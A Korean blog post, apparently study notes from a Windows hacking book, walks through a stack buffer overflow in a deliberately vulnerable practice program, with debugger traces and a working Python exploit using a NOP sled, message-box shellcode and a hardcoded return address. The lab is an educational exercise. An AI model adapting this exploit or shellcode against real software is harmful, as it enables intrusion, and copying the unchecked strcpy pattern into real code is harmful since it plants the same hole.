윈도우 소프트웨어 zero-day 헌팅 프로젝트 하기 전에 <윈도우 시스템 해킹 가이드>라는 책으로 숙달을 해봤습니다.
실습파일을 다운을 받아 reader.cpp라는 파일을 열어 보았습니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char* argv[])
{
char readbuf[2000] = {0,};
char printbuf[500] = {0,};
printf(" # text reader #\n");
if(argc!=2) {
printf(" Usage : reader.exe filename\n", argv[0]);
exit(1);
}
FILE *f = fopen(argv[1], "r");
fgets(readbuf,2000,f);
strcpy(printbuf,readbuf);
printf("File Contents : %s\n", printbuf);
}
코드에서 readbuf는 2000을 받을 수 있지만 printbuf는 500을 받습니다.
따라서 strcpy에서 readbuf의 내용을 printbuf에 그대로 복사해서 넣으면 500보다 더 많은 값을 넣게 될 경우가 생기게 되어 bufferoverflow가 발생합니다.
취약한 부분을 보았으니 immunity debugger 를 이용하여 봅시다. 메모장을 켜서 아무거나 적은 후 그것을 인자로 넣게 되면 버퍼에 텍스트 파일내용이 들어간 것을 볼 수 있겠죠
그전에 0x40108B지점의 fgets함수에 브레이크 포인트를 하고 F8를 눌러서 진행합니다.
fgets함수 이전에 올라가보면 원본 텍스트가 입력을 받는 부분이 있습니다.
EBP - 9C4 = 12FF44 - 9C4 = 12F580이므로 12F580부터 "hello StackBufferOverflow~^^"가 들어가 있는 것을 볼 수 있습니다.
또한 밑에 내리다 보면 strcpy가 복사를 하여 버퍼에 넣은 흔적이 보입니다.
EBP - 1F4 = 12FF44 - 1F4 = 12FD50 (0012FD50--> 복사된 텍스트의 시작주소)
앞으로 계속 실행하다 보면 12FD50주소를 시작으로 텍스트들이 복사되어 넣어질 것 입니다.
계속 하면 프로그램이 정상종료가 됩니다.
# Reader.exe Exploit by hyunmini
print "[+] Create text file..."
TEXT = "A"*550
f = open("test.txt","w")
f.write(TEXT)
f.close()
print " [+] Done !!"
이후에 이 프로그램을 실행을 시키면 A*550이 들어간 test.txt파일이 생성이 됩니다.
이것을 인자로 주고 ★ strcpy(TEST CL,CL) 가 실행된 뒤인 0x4010B3에 브레이크포인트를 걸고 디버깅을 하면
빨간 네모 박스를 보면 A로 가득 차 있습니다.
여기서 한번 더 실행을 하면
EIP가 읽을 수 없는 메모리주소(0x41414141)를 가리키기 때문에 프로그램이 더이상 진행되지 않습니다.
※ 다시 말하면 EIP를 원하는 주소로 변경할 수 있다는 메세지이다.
다시 디버거를 실행을 시켜서 자세히 보면
-strcpy함수 호출 전-
-strcpy함수 호출 후-
0012ff44와 0012ff48을 보면 SFP와 RET가 모두 41414141로 채워진게 보입니다.
이제 본격적인 exploit코드를 짜보겠습니다.(사실 짜여져있지만...)
import struct
print "[+] Creat text file..."
NOP = "\x90" * 100
# Messagebox: HelloSCP!!
SHELLCODE = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
SHELLCODE += "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
SHELLCODE += "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
SHELLCODE += "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
SHELLCODE += "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
SHELLCODE += "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x50\x21"
SHELLCODE += "\x21\x01\x68\x6c\x6f\x53\x43\x68\x20\x48\x65\x6c\x89\xe1\xfe"
SHELLCODE += "\x49\x0b\x31\xc0\x51\x50\xff\xd7"
print "Shellcode Length :", len(SHELLCODE)
DUMMY = "A"*(504-len(NOP+SHELLCODE))
BUF = struct.pack('<L',0x12FD50) #버퍼의 시작주소
contents = NOP + SHELLCODE + DUMMY + BUF
f = open("test.txt","w")
f.write(contents)
f.close()
버퍼의 시작주소를 넣는 부분에 printbuf가 readbuf로 부터 텍스트값이 복사되어 넣어진 공간의 주소였던 12FD50을 넣는다.
이 코드를 실행을 시키면 test.txt파일이 생기는데 이것을 인자로 두고 디버거를 실행하면
이렇게 12FD50부터 90909090(NOP)으로 채워지다가 shellcode가 넣어지고
이후에 SFP까진 41414141로 채워진 다음 RET에서 12FD50이 넣어지고
12FD50으로 간 eip가 NOP을 넘기면서 쉘코드가 실행이 되어 이렇게 뜹니다.
★ strcpy는 원본 문자열이 끝나는 지점을 알기 위해 한 글자를 복사할 때마다 TEST CL,CL 명령어를 통해 복사할 문자가 널바이트인지를 확인한다.
출처: 윈도우 소프트웨어 시스템해킹 가이드
'프로젝트' 카테고리의 다른 글
Network basic training (0) | 2020.06.25 |
---|---|
Windows Software Zer0-day hunting (0) | 2020.02.21 |
1-day Exploit 실습 (1) | 2020.02.21 |
SEH overwrite (0) | 2020.02.17 |
Trampoline Technique (0) | 2020.02.16 |